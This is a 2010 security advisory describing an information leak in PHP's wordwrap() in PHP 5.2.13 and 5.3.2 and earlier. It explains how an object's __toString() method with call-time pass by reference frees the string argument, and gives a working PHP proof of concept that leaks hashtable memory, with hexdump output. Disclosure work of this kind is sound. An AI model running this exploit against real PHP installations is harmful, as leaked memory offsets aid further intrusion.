MOPS-2010-044: PHP wordwrap() Interruption Information Leak Vulnerability

May 26th, 2010

PHP’s wordwrap() function can be abused for information leak attacks, because of the call time pass by reference feature.

Affected versions

Affected is PHP 5.2 <= 5.2.13
Affected is PHP 5.3 <= 5.3.2

Credits

The vulnerability was discovered by Stefan Esser during a search for interruption vulnerability examples.

Detailed information

This vulnerability is one of the interruption vulnerabilities discussed in Stefan Esser’s talk about interruption vulnerabilities at BlackHat USA 2009 (SLIDES,PAPER). The basic ideas of these exploits is to use a user space interruption of an internal function to destroy the arguments used by the internal function in order to cause information leaks or memory corruptions. Some of these vulnerabilties are only exploitable because of the call time pass by reference feature in PHP.

After the talk the PHP developers tried to remove the offending call time pass by reference feature but failed. The feature was only partially removed which means several exploits developed last year still worked the same after the fixes or just had to be slightly rewritten. One of these exploits exploits the wordwrap function.

PHP_FUNCTION(wordwrap)
{
    const char *text, *breakchar = "\n";
    char *newtext;
    int textlen, breakcharlen = 1, newtextlen, chk;
    size_t alloced;
    long current = 0, laststart = 0, lastspace = 0;
    long linelength = 75;
    zend_bool docut = 0;

    if (zend_parse_parameters(ZEND_NUM_ARGS() TSRMLS_CC, "s|lsb", &text, &textlen, &linelength, &breakchar, &breakcharlen, &docut) == FAILURE) {
        return;
    }

    ...

    /* Special case for a single-character break as it needs no
       additional storage space */

    if (breakcharlen == 1 && !docut) {
        newtext = estrndup(text, textlen);

        ...

        newtext[newtextlen] = '\0';
        /* free unused memory */
        newtext = erealloc(newtext, newtextlen+1);

        RETURN_STRINGL(newtext, newtextlen, 0);
    }
}

In this case zend_parse_parameters() retrieves up to two string arguments into local variables. The problem is that the string pointers will point to exactly the same strings as the original string ZVALs. However when the original string ZVALs get modified by an interruption attack this will result in the string pointers being invalid, pointing to already freed and reused memory. An interruption attack is very easy in this case because zend_parse_parameters() supports the __toString() method of objects. An attacker just needs to pass an object as 3rd parameter to wordwrap(). From the __toString() method it is then possible to kill the first string agruments due to the call time pass by reference feature. When it is e.g. reused for a hashtable this results in wordwrap() working on memory of a hashtable instead of a string, which lets the attacker leak important internal memory offsets.

Proof of concept, exploit or instructions to reproduce

The following proof of concept code will trigger the vulnerability and leak a PHP hashtable. The hexdump of a hashtable looks like this.

Hexdump
-------
00000000: 08 00 00 00 07 00 00 00 01 00 00 00 41 41 41 41   ............AAAA
00000010: 00 00 00 00 00 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000020: F0 F2 B4 00 01 00 00 00 F0 F2 B4 00 01 00 00 00   ................
00000030: D0 0A B5 00 01 00 00 00 74 43 30 00 01 00 00 00   ........tC0.....
00000040: 00 00 01 -- -- -- -- -- -- -- -- -- -- -- -- --   ...

The following code tries to detect if it is running on a 32 bit or 64 bit system and adjust accordingly. Note that the method used here does not work on 64 bit Windows.

<?php
class dummy
{  
    function __toString()
    {
        /* now the magic */
        parse_str("xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=1", $GLOBALS['var']);
        return "XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX";
    }  
}

/* Detect 32 vs 64 bit */
$i = 0x7fffffff;
$i++;
if (is_float($i)) {
    $GLOBALS['var'] = str_repeat("A", 39);
} else {
    $GLOBALS['var'] = str_repeat("A", 67);     
}

/* Trigger the Code */ 
$x = wordwrap(&$GLOBALS['var'], 0x31337, new dummy());
hexdump($x);

/* Helper function */
function hexdump($x)
{
    $l = strlen($x);
    $p = 0;

    echo "Hexdump\n";
    echo "-------\n";

    while ($l > 16) {
        echo sprintf("%08x: ",$p);
        for ($i=0; $i<16; $i++) {
            echo sprintf("%02X ", ord($x[$p+$i]));
        }
        echo "  ";
        for ($i=0; $i<16; $i++) {
            $c = ord($x[$p+$i]);
            echo ($c < 32 || $c > 127) ? '.' : chr($c);
        }
        $l-=16;
        $p+=16;
        echo "\n";
    }
    if ($l > 0)
    echo sprintf("%08x: ",$p);
    for ($i=0; $i<$l; $i++) {
        echo sprintf("%02X ", ord($x[$p+$i]));
    }
    for ($i=0; $i<16-$l; $i++) { echo "-- "; }

    echo "  ";
    for ($i=0; $i<$l; $i++) {
        $c = ord($x[$p+$i]);
        echo ($c < 32 || $c > 127) ? '.' : chr($c);
    }
    echo "\n";
}
?>

Notes

We strongly recommend to fix this vulnerability by removing the call time pass by reference feature for internal functions correctly this time.




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